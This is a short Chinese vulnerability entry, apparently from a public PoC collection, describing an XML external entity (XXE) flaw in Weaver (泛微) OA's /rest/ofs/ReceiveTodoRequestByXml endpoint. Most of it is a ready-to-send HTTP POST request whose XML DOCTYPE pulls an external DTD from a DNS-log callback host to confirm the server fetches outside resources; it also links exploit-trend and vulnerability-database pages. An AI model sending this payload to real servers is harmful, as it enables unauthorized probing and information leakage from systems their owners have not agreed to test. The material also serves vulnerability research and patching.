泛微OA ReceiveTodoRequestByXml XML实体注入漏洞

2025-01-10 泛微OA PoC Public

Description

XXE漏洞，即XML外部实体注入漏洞，是由于应用程序处理XML输入时，未正确配置或过滤外部实体引用导致的安全漏洞。攻击者可以通过构造恶意XML数据，导致服务器端信息泄露、拒绝服务攻击、远程代码执行等严重后果。

PoC

POST /rest/ofs/ReceiveTodoRequestByXml HTTP/1.1
Host: 
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://ReceiveTodoRequestByXml.xxxx.dnslog.pw/xxe">
<M><syscode>&send;</syscode></M>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/c9800c9f-3311-4d1e-b2d4-ba694f72d05b

References

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